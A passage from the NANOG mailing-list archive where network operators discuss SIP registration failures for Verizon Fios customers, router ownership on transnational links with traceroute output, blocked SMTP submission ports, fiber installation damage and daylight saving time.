From: saku at ytti.fi (Saku Ytti) Date: Tue, 14 May 2019 09:03:30 +0300 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: <688fc03b-8ab8-3380-7652-dadb15202d23@stage2networks.com> References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> <688fc03b-8ab8-3380-7652-dadb15202d23@stage2networks.com> Message-ID: Can someone try to recreate the problem with TCP/5060. Or do iperf test on equivalent ports with UDP+TCP, to determine if the problem is related specifically to UDP. Most networks have some form of limits to even transit traffic, UDP is most typical L4 to have policers. On Tue, 14 May 2019 at 00:12, Pete Rohrman wrote: > > Dovid Bender, > > I'm seeing the same sort of thing. Polycom phones. Multiple customers getting to me from Verizon in NYC area. I'm seeing phones register for a while, then drop off, then I see them trying to re-reg resulting in your 401 below. > > Call me. 212 497 8015. Let's look at this. > > Pete > > Pete Rohrman > Stage2 Support > 212 497 8000, Opt. 2 > > On 5/13/19 12:20 PM, Dovid Bender wrote: > > Thought of that. Customers have their own CPE's. So far the only thing mutual here is that it's NTT -> VZ. Here is what I found so far looking at two Polycom phones using non standard ports (e.g. not 5060) > 1) PhoneA tries to register multiple extensions and for each request we send a 401. We expect to get back a REGISTER request with a no-once but we don't. This happens for a while and then magically it starts working. > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > At first I thought it was something possibly with the SIP call-ID but I ruled that out since in the same SIP DIALOG it was not working then it started. Also the seems to be per phone each phone is behind NAT and the traffic is coming from a different NAT'd port. Seems like there is some device in the middle that is randomly dropping traffic on specific sessions. > > > > > > On Mon, May 13, 2019 at 11:40 AM Brielle Bruns wrote: >> >> On 5/13/2019 9:21 AM, Dovid Bender wrote: >> > Hi, >> > >> > Over the last 48 hours we have been getting a lot of alerts of customers >> > phones losing registrations to us. All the complaints are coming from >> > customers that are on VZ Fios in the NYC area. Anyone else see anything >> > strange going on? >> > >> >> >> While you are diagnosing, might check to make sure that the SIP ALG is >> disabled on all of their routers too. >> >> >> >> -- >> Brielle Bruns >> The Summit Open Source Development Group >> http://www.sosdg.org / http://www.ahbl.org -- ++ytti From mark.tinka at seacom.mu Tue May 14 07:41:55 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Tue, 14 May 2019 09:41:55 +0200 Subject: NTP for ASBRs? In-Reply-To: References: <20190508165450.7F1FDD97@m0117458.ppops.net> Message-ID: <0c74f5cb-9299-e6f9-b0e6-46863ca96fdd@seacom.mu> On 9/May/19 02:47, Bryan Holloway wrote: >   > > Hawai'i and Arizona can add/subtract without looking at the damn > calendar. I'm just sayin' I'd like to see more of that. Well, 2 months ago, the EU parliament voted to scrap daylight saving time from 2021. This would also apply to the UK if it chooses to remain in the EU, or during the extended transition period that Theresa May is currently working. It's now up to the various EU member states to decide whether they want to remain permanently in winter or permanently in summer. Of course, the UK government aren't necessarily amused. Mark. From colinj at gt86car.org.uk Tue May 14 08:10:16 2019 From: colinj at gt86car.org.uk (colin johnston) Date: Tue, 14 May 2019 09:10:16 +0100 Subject: NTP for ASBRs? In-Reply-To: <0c74f5cb-9299-e6f9-b0e6-46863ca96fdd@seacom.mu> References: <20190508165450.7F1FDD97@m0117458.ppops.net> <0c74f5cb-9299-e6f9-b0e6-46863ca96fdd@seacom.mu> Message-ID: > On 14 May 2019, at 08:41, Mark Tinka wrote: > > > > On 9/May/19 02:47, Bryan Holloway wrote: > >> >> >> Hawai'i and Arizona can add/subtract without looking at the damn >> calendar. I'm just sayin' I'd like to see more of that. > > Well, 2 months ago, the EU parliament voted to scrap daylight saving > time from 2021. This would also apply to the UK if it chooses to remain > in the EU, or during the extended transition period that Theresa May is > currently working. > > It's now up to the various EU member states to decide whether they want > to remain permanently in winter or permanently in summer. > > Of course, the UK government aren't necessarily amused. > > Mark. > Dst Time works great for Scotland as allows kids to go to school during lighter hours. It has been proved to save road deaths Col From mark.tinka at seacom.mu Tue May 14 09:31:57 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Tue, 14 May 2019 11:31:57 +0200 Subject: Fwd: [afnog] SAFNOG-5 & iWeek 2019 Registrations Open In-Reply-To: <1557745613169.61365@safnog.net> References: <1557745613169.61365@safnog.net> Message-ID: FYI. Mark. -------- Forwarded Message -------- Subject: [afnog] SAFNOG-5 & iWeek 2019 Registrations Open Date: Mon, 13 May 2019 11:06:53 +0000 From: Portia Rabonda To: afnog at afnog.org ​​Greetings All,   It gives us great pleasure to announce that the SAFNOG-5 & iWeek 2019 event registration is now open!   SAFNOG, in collaboration with iWeek, is proud to announce that this year’s event registration is free of charge. SAFNOG-5 and iWeek 2019 will be held between the 26th- 28th August, 2019, in Johannesburg, South Africa.   SAFNOG-5 seats are limited to 120 people, to reserve your spot, register through our website: http://safnog.org/​. Please take note to select “SAFNOG-5” as the main event of attendance to secure your free seat.   Information about the event programme, the venue, travel information and other important updates will be made available on http://safnog.org/ in due time.   We are officially 105 days from the big showdown in Jozi!   We look forward to seeing you there!     Regards,   Portia Rabonda on Behalf of SAFNOG MC -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- _______________________________________________ afnog mailing list https://www.afnog.org/mailman/listinfo/afnog From dovid at telecurve.com Tue May 14 11:48:25 2019 From: dovid at telecurve.com (Dovid Bender) Date: Tue, 14 May 2019 07:48:25 -0400 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> <688fc03b-8ab8-3380-7652-dadb15202d23@stage2networks.com> Message-ID: It's not strictly UDP. I spoke with someone yesterday that was re-producing it with curl. On Tue, May 14, 2019 at 2:04 AM Saku Ytti wrote: > Can someone try to recreate the problem with TCP/5060. Or do iperf > test on equivalent ports with UDP+TCP, to determine if the problem is > related specifically to UDP. > > Most networks have some form of limits to even transit traffic, UDP is > most typical L4 to have policers. > > On Tue, 14 May 2019 at 00:12, Pete Rohrman > wrote: > > > > Dovid Bender, > > > > I'm seeing the same sort of thing. Polycom phones. Multiple > customers getting to me from Verizon in NYC area. I'm seeing phones > register for a while, then drop off, then I see them trying to re-reg > resulting in your 401 below. > > > > Call me. 212 497 8015. Let's look at this. > > > > Pete > > > > Pete Rohrman > > Stage2 Support > > 212 497 8000, Opt. 2 > > > > On 5/13/19 12:20 PM, Dovid Bender wrote: > > > > Thought of that. Customers have their own CPE's. So far the only thing > mutual here is that it's NTT -> VZ. Here is what I found so far looking at > two Polycom phones using non standard ports (e.g. not 5060) > > 1) PhoneA tries to register multiple extensions and for each request we > send a 401. We expect to get back a REGISTER request with a no-once but we > don't. This happens for a while and then magically it starts working. > > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > > > At first I thought it was something possibly with the SIP call-ID but I > ruled that out since in the same SIP DIALOG it was not working then it > started. Also the seems to be per phone each phone is behind NAT and the > traffic is coming from a different NAT'd port. Seems like there is some > device in the middle that is randomly dropping traffic on specific sessions. > > > > > > > > > > > > On Mon, May 13, 2019 at 11:40 AM Brielle Bruns wrote: > >> > >> On 5/13/2019 9:21 AM, Dovid Bender wrote: > >> > Hi, > >> > > >> > Over the last 48 hours we have been getting a lot of alerts of > customers > >> > phones losing registrations to us. All the complaints are coming from > >> > customers that are on VZ Fios in the NYC area. Anyone else see > anything > >> > strange going on? > >> > > >> > >> > >> While you are diagnosing, might check to make sure that the SIP ALG is > >> disabled on all of their routers too. > >> > >> > >> > >> -- > >> Brielle Bruns > >> The Summit Open Source Development Group > >> http://www.sosdg.org / http://www.ahbl.org > > > > -- > ++ytti > -------------- next part -------------- An HTML attachment was scrubbed... URL: From rsk at gsp.org Tue May 14 13:51:13 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Tue, 14 May 2019 09:51:13 -0400 Subject: FCC Hurricane Michael after-action report In-Reply-To: <003e01d50a10$36d52330$a47f6990$@iname.com> References: <003e01d50a10$36d52330$a47f6990$@iname.com> Message-ID: <20190514135113.GA18581@gsp.org> On Mon, May 13, 2019 at 11:48:02PM -0500, frnkblk at iname.com wrote: > One of my takeaways from that article was that burying fiber underground > could likely have avoided many/most of these fiber cuts, though I???m > not familiar enough with the terrain to know how feasible that is. I suspect that may not be possible in (parts of) Florida. However, even in places where it's possible, fiber installation is sometimes miserably executed. Like my neighborhood. A couple of years ago, Verizon decided to finally bring FIOS in. They put in the appropriate calls to utility services, who dutifully marked all the existing power/cable/gas/etc. lines and then their contractors (or sub-sub-contractors) showed up. The principle outcome of their efforts quickly became clear, as one Comcast cable line after another was severed. Not a handful, not even dozens: well over a hundred. They managed to cut mine in three places, which was truly impressive. (Thanks for the extended outage, Verizon.) After this had gone on for a month, Comcast caught on and took the expedient route of just rolling a truck every morning. They'd park at the end of the road and just wait for the service calls that they knew were coming. Of course Comcast's lines were not the only victims of this incompetence and negligence. Amusingly, sometimes Verizon had to send its own repair crews for their copper lines. There's a lot more but let me skip to the end result. After inflicting months of outages on everyone, after tearing up lots of lawns, after all of this, many of the fiber conduits that are allegedly underground: aren't. ---rsk From daniel at pyranah.com Tue May 14 14:13:06 2019 From: daniel at pyranah.com (daniel at pyranah.com) Date: Tue, 14 May 2019 10:13:06 -0400 Subject: Charter and Cox contacts Message-ID: <05af01d50a5f$26f8ad20$74ea0760$@pyranah.com> "On 5/13/19 12:11 PM, daniel at pyranah.com wrote: > Does anyone have contacts at Charter (Spectrum) and Cox? For some reason, > our IP has been blocked by them and our customers are unable to send email > via their charter/cox accounts. Thanks Would you be talking about port 25/tcp outbound? Lots of ISPs will block port 25 as a rule; you have to call to have it opened. At the same time, you can request the PTR record you need to keep big mail receivers happy." It's the outgoing smtp ports, 587 for charter and 465 for cox. They are open on my end but our IP address that most of our customers are natted through is blocked by the email servers. Daniel Temple VP of Operations Pyranah Communications, LLC 828-743-2470 ext.205 Pyranah.com Like us on Facebook! -----Original Message----- From: NANOG On Behalf Of nanog-request at nanog.org Sent: Tuesday, May 14, 2019 8:00 AM To: nanog at nanog.org Subject: NANOG Digest, Vol 136, Issue 14 Send NANOG mailing list submissions to nanog at nanog.org To subscribe or unsubscribe via the World Wide Web, visit https://mailman.nanog.org/mailman/listinfo/nanog or, via email, send a message with subject or body 'help' to nanog-request at nanog.org You can reach the person managing the list at nanog-owner at nanog.org When replying, please edit your Subject line so it is more specific than "Re: Contents of NANOG digest..." Today's Topics: 1. Issues with SIP packets between VZ Fios and NTT (Dovid Bender) 2. Re: Ownership of Routers on Both Ends of Transnational Links (Pengxiong Zhu) 3. Re: Issues with SIP packets between VZ Fios and NTT (Brielle Bruns) 4. Re: Ownership of Routers on Both Ends of Transnational Links (Christopher Morrow) 5. Re: Issues with SIP packets between VZ Fios and NTT (Dovid Bender) 6. Re: Ownership of Routers on Both Ends of Transnational Links (Pengxiong Zhu) 7. Re: Issues with SIP packets between VZ Fios and NTT (Brielle Bruns) 8. Re: Issues with SIP packets between VZ Fios and NTT (Dovid Bender) 9. Re: Ownership of Routers on Both Ends of Transnational Links (Christopher Morrow) 10. Re: Issues with SIP packets between VZ Fios and NTT (Dovid Bender) 11. Re: Issues with SIP packets between VZ Fios and NTT (Jared Mauch) 12. Re: Issues with SIP packets between VZ Fios and NTT (Dovid Bender) 13. Re: Issues with SIP packets between VZ Fios and NTT (Pete Rohrman) 14. Charter and Cox contacts (daniel at pyranah.com) 15. Mostly name and shame... (bzs at theworld.com) 16. Re: Ownership of Routers on Both Ends of Transnational Links (Randy Bush) 17. Re: Charter and Cox contacts (Stephen Satchell) 18. RE: FCC Hurricane Michael after-action report (frnkblk at iname.com) 19. Re: FCC Hurricane Michael after-action report (Mike Bolitho) 20. Re: Issues with SIP packets between VZ Fios and NTT (Saku Ytti) 21. Re: NTP for ASBRs? (Mark Tinka) 22. Re: NTP for ASBRs? (colin johnston) 23. Fwd: [afnog] SAFNOG-5 & iWeek 2019 Registrations Open (Mark Tinka) 24. Re: Issues with SIP packets between VZ Fios and NTT (Dovid Bender) ---------------------------------------------------------------------- Message: 1 Date: Mon, 13 May 2019 11:21:12 -0400 From: Dovid Bender To: NANOG Subject: Issues with SIP packets between VZ Fios and NTT Message-ID: Content-Type: text/plain; charset="utf-8" Hi, Over the last 48 hours we have been getting a lot of alerts of customers phones losing registrations to us. All the complaints are coming from customers that are on VZ Fios in the NYC area. Anyone else see anything strange going on? TIA. Dovid -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 2 Date: Sat, 11 May 2019 17:24:27 -0700 From: Pengxiong Zhu To: "North American Network Operators' Group" Cc: Zhiyun Qian , Zhongjie Wang , Keyu Man Subject: Re: Ownership of Routers on Both Ends of Transnational Links Message-ID: Content-Type: text/plain; charset="utf-8" Thanks again for your insightful responses! The case we discuss above is Chinese ISPs renting routers located outside China and the IPs belong to other ISPs. How about the case that the IP belongs to a Chinese ISP and is located in US(from RTT result), can we say it is very likely or definitely owned/operated by the Chinese ISP? Why would some ISP try to rent routers of Chinese ISP in US? For example, a traceroute from Ohio to an IP in China. Hop 17 and hop 18 should be located in US based on the RTT, and yet they belong to a Chinese AS(China Telecom). Does this mean that Chinese Telecom is managing these two hops? HOST: Loss% Snt Last Avg Best Wrst StDev 6. AS??? 100.65.11.97 0.0% 100 2.0 1.0 0.4 12.6 1.3 7. AS??? 52.93.15.238 0.0% 100 2.4 2.0 1.5 11.4 1.1 8. AS??? 52.93.14.134 0.0% 100 21.9 26.3 4.2 54.4 11.3 9. AS??? 52.93.14.119 0.0% 100 2.6 2.1 1.6 10.8 1.2 10. AS??? 100.91.27.86 0.0% 100 25.8 26.2 25.6 34.9 1.2 11. AS??? 54.239.42.197 0.0% 100 25.5 25.9 25.4 35.8 1.5 12. AS??? 100.91.4.218 0.0% 100 25.9 26.2 25.1 38.3 1.6 13. AS??? 100.91.4.217 0.0% 100 25.4 26.0 25.3 41.4 2.0 14. AS??? 100.91.5.85 0.0% 100 25.3 25.8 25.2 29.1 0.9 15. AS??? 54.239.103.86 0.0% 100 25.6 30.0 25.2 49.1 3.8 16. AS??? 54.239.103.77 0.0% 100 25.3 25.6 25.2 28.1 0.5 17. AS4134 218.30.53.1 0.0% 100 28.0 29.1 25.2 33.1 2.3 18. AS4134 202.97.50.21 0.0% 100 32.4 29.1 25.2 33.5 2.4 19. AS??? ??? 100.0 100 0.0 0.0 0.0 0.0 0.0 20. AS??? ??? 100.0 100 0.0 0.0 0.0 0.0 0.0 21. AS4134 202.97.94.121 0.0% 100 186.8 185.6 181.8 189.8 2.3 22. AS4816 119.147.222.6 0.0% 100 182.6 183.5 182.4 195.8 1.8 23. AS4816 183.2.182.130 0.0% 100 181.7 183.3 181.5 207.0 3.9 24. AS??? ??? 100.0 100 0.0 0.0 0.0 0.0 0.0 25. AS45102 116.251.113.158 0.0% 100 176.7 177.9 176.5 186.7 2.1 26. AS45102 116.251.115.141 0.0% 100 213.2 213.4 213.1 218.5 0.6 Best, Pengxiong Zhu Department of Computer Science and Engineering University of California, Riverside On Tue, Apr 16, 2019 at 7:37 PM Erik Sundberg wrote: > May sure when you are dealing with transnational links to watch the > latency so you can tell when the link goes international. Just because you > are going from a US Network provider to China Telecom doesn't mean that > your not connecting to them in the united states. > > > > For example a traceroute from Denver to 27.29.128.1 which is an IP in > China Telecom's network. > > It's about 26ms between Denver and Los Angeles. Hop 5 to Hop 6 > > China Telecom connects to GTT in Los Angeles Hop7/8 > > On Hop 8 is in the United State and Hop 9 is across the pacific. Because > the latency goes from 31 ms to 183 ms. > > > Just something to keep in mind. > > > > Packets Pings > Host > Loss% Snt Last Avg Best Wrst StDev > 1. _gateway > 0.0% 14 1.0 1.2 1.0 2.8 0.5 > 2. te-0-0-26.ear2.den1.us.nitelusa.net > 0.0% 14 0.9 1.0 0.8 2.1 0.4 > 3. te-0-0-26.ear1.den1.us.nitelusa.net > 0.0% 14 1.1 1.6 1.1 2.9 0.7 > 4. te-0-0-1-0.cr1.den1.us.nitelusa.net > 0.0% 14 1.0 1.0 1.0 1.1 0.0 > 5. ae1-122.cr0-den2.ip4.gtt.net > 0.0% 14 0.5 1.2 0.3 6.9 2.0 > 6. et-0-0-47.cr3-lax2.ip4.gtt.net > 0.0% 14 26.5 26.4 26.2 26.7 0.2 > 7. as4134.lax20.ip4.gtt.net > 0.0% 14 27.7 28.7 26.8 30.1 1.1 > 8. 202.97.50.29 > 0.0% 14 31.4 30.6 26.8 34.1 2.4 > 9. 202.97.41.129 > 0.0% 14 183.3 187.1 183.3 190.8 2.4 > 10. 202.97.94.101 > 0.0% 14 187.9 188.6 186.1 211.2 6.8 > 11. 202.97.94.141 > 0.0% 13 177.8 180.7 177.2 184.2 2.3 > 12. 202.97.67.54 > 0.0% 13 199.5 201.2 197.4 205.1 2.6 > 13. 111.177.110.62 > 0.0% 13 205.9 206.3 205.9 208.2 0.7 > 14. 27.29.128.1 > 0.0% 13 202.6 202.8 202.5 203.9 0.4 > > > Erik Sundberg > > Sr. Network Engineer > > Nitel > > 350 N Orleans Street > > Suite 1300N > > Chicago, Il 60654 > > Desk: 773-661-5532 > > Cell: 708-710-7419 > > NOC: 866-892-0915 > > Email: esundberg at nitelusa.com > > web: www.nitelusa.com > > ------------------------------ > *From:* Zhiyun Qian > *Sent:* Tuesday, April 16, 2019 1:02:36 PM > *To:* Erik Sundberg > *Cc:* Pengxiong Zhu; Zhiyun Qian; Zhongjie Wang; Keyu Man > *Subject:* Re: Ownership of Routers on Both Ends of Transnational Links > > Erik, > > Thanks a lot for the information! This is extremely helpful. We are > conducting an analysis on performance/policy-related study on transnational > links. We are hoping to submit a paper soon. Will be glad to share all the > details once we have a draft! > > Best, > -Zhiyun > > > On Tue, Apr 16, 2019 at 10:35 AM Erik Sundberg > wrote: > > CPE is usually ran by the customer. Some provider do offer managed routers > for a fee. Kinda like renting a cable modem from your provider. > > > What are your guys trying to accomplish or find out? > > Erik > > > > Erik Sundberg > Sr. Network Engineer > Nitel > 350 N Orleans Street > Suite 1300N > Chicago, Il 60654 > Desk: 773-661-5532 > Cell: 708-710-7419 > NOC: 866-892-0915 > Email: esundberg at nitelusa.com > web: www.nitelusa.com > > ------------------------------ > *From:* Pengxiong Zhu > *Sent:* Tuesday, April 16, 2019 12:32 PM > *To:* Erik Sundberg > *Cc:* Zhiyun Qian; Zhongjie Wang; Keyu Man > *Subject:* Re: Ownership of Routers on Both Ends of Transnational Links > > Thanks a lot! > > Are the Customer Devices managed by Telia or the customer? > > Best, > Pengxiong Zhu > Department of Computer Science and Engineering > University of California, Riverside > > > On Tue, Apr 16, 2019 at 7:43 AM Erik Sundberg > wrote: > > I hope this helps with the breakdown for telia. > > > > > Telia i think is using /31's for there serial blocks now > > 62.115.170.56 (Telia Edge Rotuer) > > 62.115.170.57 (Customer Device) > > > > chinaunicom-ic-341501-sjo-b21.c.telia.net. > > > ---.c.telia.net > > > > Customer: ChinaUnicom > > Telia Circuit ID's are: ic-123456 > > POP: SJO (Airport code) > > Router: b21 > > Doamin: c.telia.net "Customer.telia.net" > > > > > Erik Sundberg > > Sr. Network Engineer > > Nitel > > 350 N Orleans Street > > Suite 1300N > > Chicago, Il 60654 > > Desk: 773-661-5532 > > Cell: 708-710-7419 > > NOC: 866-892-0915 > > Email: esundberg at nitelusa.com > > web: www.nitelusa.com > > ------------------------------ > *From:* NANOG on behalf of Pengxiong Zhu < > pzhu011 at ucr.edu> > *Sent:* Monday, April 15, 2019 11:36:45 PM > *To:* nanog at nanog.org > *Cc:* Keyu Man; Zhiyun Qian; Zhongjie Wang > *Subject:* Ownership of Routers on Both Ends of Transnational Links > > Howdy folks, > > We are a group of researchers at UC Riverside conducting some measurement > about transnational networks. In particular, we are interested in studying > the ownership of routers on the two sides of transnational links. > > We have some concrete questions which we hope someone can shed some light > on. Basically when we send packets from US/Canada to China, through > traceroute and the RTT of each hop, we can locate the last hop in the US > before the packets enter China (*there is a large jump of RTT of 100+ms > from this hop onwards*). Oftentimes the ownership of such routers is > ambiguous. > > These hops whose IPs seem to belong to US or European ISPs (*according to > BGP info*) but their reverse DNS names have *chinaunicom* in it, which is > a Chinese ISP. > AS1299 Telia Company AB > 62.115.170.57 name = chinaunicom-ic-341501-sjo-b21.c.telia.net. > 62.115.33.230 name = chinaunicom-ic-302366-las-bb1.c.telia.net. > 213.248.73.190 name = chinaunicom-ic-127288-sjo-b21.c.telia.net. > > AS701 Verizon Business > 152.179.103.254 name = chinaunicom-gw.customer.alter.net. > > While the following routers, they don't have a reverse DNS name at all, > which seem to be uncommon if they were managed by US or European ISPs but > quite common for Chinese ISPs. > AS6453 TATA COMMUNICATIONS (AMERICA) INC > 63.243.205.90 > 66.110.59.118 > > Can anyone confirm that these are indeed managed by the Chinese ISPs (even > though they are physically located in the US according to the traceroute > and RTT analysis)? > > > Best, > Pengxiong Zhu > Department of Computer Science and Engineering > University of California, Riverside > > ------------------------------ > > CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files > or previous e-mail messages attached to it may contain confidential > information that is legally privileged. If you are not the intended > recipient, or a person responsible for delivering it to the intended > recipient, you are hereby notified that any disclosure, copying, > distribution or use of any of the information contained in or attached to > this transmission is STRICTLY PROHIBITED. If you have received this > transmission in error please notify the sender immediately by replying to > this e-mail. You must destroy the original transmission and its attachments > without reading or saving in any manner. Thank you. > > > ------------------------------ > > CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files > or previous e-mail messages attached to it may contain confidential > information that is legally privileged. If you are not the intended > recipient, or a person responsible for delivering it to the intended > recipient, you are hereby notified that any disclosure, copying, > distribution or use of any of the information contained in or attached to > this transmission is STRICTLY PROHIBITED. If you have received this > transmission in error please notify the sender immediately by replying to > this e-mail. You must destroy the original transmission and its attachments > without reading or saving in any manner. Thank you. > > > ------------------------------ > > CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files > or previous e-mail messages attached to it may contain confidential > information that is legally privileged. If you are not the intended > recipient, or a person responsible for delivering it to the intended > recipient, you are hereby notified that any disclosure, copying, > distribution or use of any of the information contained in or attached to > this transmission is STRICTLY PROHIBITED. If you have received this > transmission in error please notify the sender immediately by replying to > this e-mail. You must destroy the original transmission and its attachments > without reading or saving in any manner. Thank you. > -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 3 Date: Mon, 13 May 2019 09:38:53 -0600 From: Brielle Bruns To: nanog at nanog.org Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: <98cf5423-4167-2242-62f7-782a9c500c18 at 2mbit.com> Content-Type: text/plain; charset=windows-1252; format=flowed On 5/13/2019 9:21 AM, Dovid Bender wrote: > Hi, > > Over the last 48 hours we have been getting a lot of alerts of customers > phones losing registrations to us. All the complaints are coming from > customers that are on VZ Fios in the NYC area. Anyone else see anything > strange going on? > While you are diagnosing, might check to make sure that the SIP ALG is disabled on all of their routers too. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org ------------------------------ Message: 4 Date: Mon, 13 May 2019 11:51:58 -0400 From: Christopher Morrow To: Pengxiong Zhu Cc: "North American Network Operators' Group" , Keyu Man , Zhiyun Qian , Zhongjie Wang Subject: Re: Ownership of Routers on Both Ends of Transnational Links Message-ID: Content-Type: text/plain; charset="UTF-8" On Mon, May 13, 2019 at 11:38 AM Pengxiong Zhu wrote: > > Thanks again for your insightful responses! > > The case we discuss above is Chinese ISPs renting routers located outside China and the IPs belong to other ISPs. > I think you are using all of the wrong verbs here... 'renting' does not make sense here, I'm unclear on what you actually mean, please try again with a different verb OR more clarifying text. \ ------------------------------ Message: 5 Date: Mon, 13 May 2019 12:20:10 -0400 From: Dovid Bender To: Brielle Bruns Cc: NANOG Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: Content-Type: text/plain; charset="utf-8" Thought of that. Customers have their own CPE's. So far the only thing mutual here is that it's NTT -> VZ. Here is what I found so far looking at two Polycom phones using non standard ports (e.g. not 5060) 1) PhoneA tries to register multiple extensions and for each request we send a 401. We expect to get back a REGISTER request with a no-once but we don't. This happens for a while and then magically it starts working. 2) PhoneB tries to register the time time as PhoneA and has no issues. At first I thought it was something possibly with the SIP call-ID but I ruled that out since in the same SIP DIALOG it was not working then it started. Also the seems to be per phone each phone is behind NAT and the traffic is coming from a different NAT'd port. Seems like there is some device in the middle that is randomly dropping traffic on specific sessions. On Mon, May 13, 2019 at 11:40 AM Brielle Bruns wrote: > On 5/13/2019 9:21 AM, Dovid Bender wrote: > > Hi, > > > > Over the last 48 hours we have been getting a lot of alerts of customers > > phones losing registrations to us. All the complaints are coming from > > customers that are on VZ Fios in the NYC area. Anyone else see anything > > strange going on? > > > > > While you are diagnosing, might check to make sure that the SIP ALG is > disabled on all of their routers too. > > > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 6 Date: Mon, 13 May 2019 09:31:23 -0700 From: Pengxiong Zhu To: Christopher Morrow Cc: "North American Network Operators' Group" , Keyu Man , Zhiyun Qian , Zhongjie Wang Subject: Re: Ownership of Routers on Both Ends of Transnational Links Message-ID: Content-Type: text/plain; charset="utf-8" Sorry for the confusion. I mean the IPs belong to non-Chinese ISPs but are actually controlled/managed by Chinese ISPs. Best, Pengxiong Zhu Department of Computer Science and Engineering University of California, Riverside On Mon, May 13, 2019 at 8:52 AM Christopher Morrow wrote: > On Mon, May 13, 2019 at 11:38 AM Pengxiong Zhu wrote: > > > > Thanks again for your insightful responses! > > > > The case we discuss above is Chinese ISPs renting routers located > outside China and the IPs belong to other ISPs. > > > > I think you are using all of the wrong verbs here... 'renting' does > not make sense here, I'm unclear on what you actually mean, please try > again with a different verb OR more clarifying text. > \ > -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 7 Date: Mon, 13 May 2019 10:48:17 -0600 From: Brielle Bruns To: NANOG Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: <361d0ac7-c356-dbbf-b40b-d75536da8080 at 2mbit.com> Content-Type: text/plain; charset=windows-1252; format=flowed On 5/13/2019 10:20 AM, Dovid Bender wrote: > Thought of that. Customers have their own CPE's. So far the only thing > mutual here is that it's NTT -> VZ. Here is what I found so far looking > at two Polycom phones using non standard ports (e.g. not 5060) > 1) PhoneA tries to register multiple extensions and for each request we > send a 401. We expect to get back a REGISTER request with a no-once but > we don't. This happens for a while and then magically it starts working. > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > At first I thought it was something possibly with the SIP call-ID but I > ruled that out since in the same SIP DIALOG it was not working then it > started. Also the seems to be per phone each phone is behind NAT and the > traffic is coming from a different NAT'd port. Seems like there is some > device in the middle that is randomly dropping traffic on specific sessions. Are you using TLS encrypted SIP or just plain ol' cleartext? If its encrypted, I'd look at possibly there being a MTU/MSS issue somewhere along the path possibly? -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org ------------------------------ Message: 8 Date: Mon, 13 May 2019 13:04:45 -0400 From: Dovid Bender To: Brielle Bruns Cc: NANOG Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: Content-Type: text/plain; charset="utf-8" Good ol UDP encrypted. On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: > > On 5/13/2019 10:20 AM, Dovid Bender wrote: > > Thought of that. Customers have their own CPE's. So far the only thing > > mutual here is that it's NTT -> VZ. Here is what I found so far looking > > at two Polycom phones using non standard ports (e.g. not 5060) > > 1) PhoneA tries to register multiple extensions and for each request we > > send a 401. We expect to get back a REGISTER request with a no-once but > > we don't. This happens for a while and then magically it starts working. > > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > > > At first I thought it was something possibly with the SIP call-ID but I > > ruled that out since in the same SIP DIALOG it was not working then it > > started. Also the seems to be per phone each phone is behind NAT and the > > traffic is coming from a different NAT'd port. Seems like there is some > > device in the middle that is randomly dropping traffic on specific > sessions. > > > Are you using TLS encrypted SIP or just plain ol' cleartext? > > If its encrypted, I'd look at possibly there being a MTU/MSS issue > somewhere along the path possibly? > > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: ------------------------------ Message: 9 Date: Mon, 13 May 2019 13:40:11 -0400 From: Christopher Morrow To: Pengxiong Zhu Cc: "North American Network Operators' Group" , Keyu Man , Zhiyun Qian , Zhongjie Wang Subject: Re: Ownership of Routers on Both Ends of Transnational Links Message-ID: Content-Type: text/plain; charset="UTF-8" On Mon, May 13, 2019 at 12:31 PM Pengxiong Zhu wrote: > > Sorry for the confusion. I mean the IPs belong to non-Chinese ISPs but are actually controlled/managed by Chinese ISPs. > this is, as I think was said earlier, normal practice. Sometimes you accept a /31 from your "provider" or "peer", sometimes they accept yours... sometimes this is because of seasons/reasons/etc, sometimes because it's how folk denote who's paying for the link in between. Those ips are not useful as a signal, which I think was also said previously in this thread. > Best, > Pengxiong Zhu > Department of Computer Science and Engineering > University of California, Riverside > > > On Mon, May 13, 2019 at 8:52 AM Christopher Morrow wrote: >> >> On Mon, May 13, 2019 at 11:38 AM Pengxiong Zhu wrote: >> > >> > Thanks again for your insightful responses! >> > >> > The case we discuss above is Chinese ISPs renting routers located outside China and the IPs belong to other ISPs. >> > >> >> I think you are using all of the wrong verbs here... 'renting' does >> not make sense here, I'm unclear on what you actually mean, please try >> again with a different verb OR more clarifying text. >> \ ------------------------------ Message: 10 Date: Mon, 13 May 2019 14:32:37 -0400 From: Dovid Bender To: Brielle Bruns Cc: NANOG Subject: Re: Issues with SIP packets between VZ Fios and NTT Message-ID: Content-Type: text/plain; charset="utf-8" FYI: More than one person reached out to me off list. The issue is clearly with VZ. Traces by the others were done and NTT was not in the mix. The only common denominator was 401 SIP packets hitting VZ Fios IP's in the NY area. On Mon, May 13, 2019 at 1:04 PM Dovid Bender wrote: > 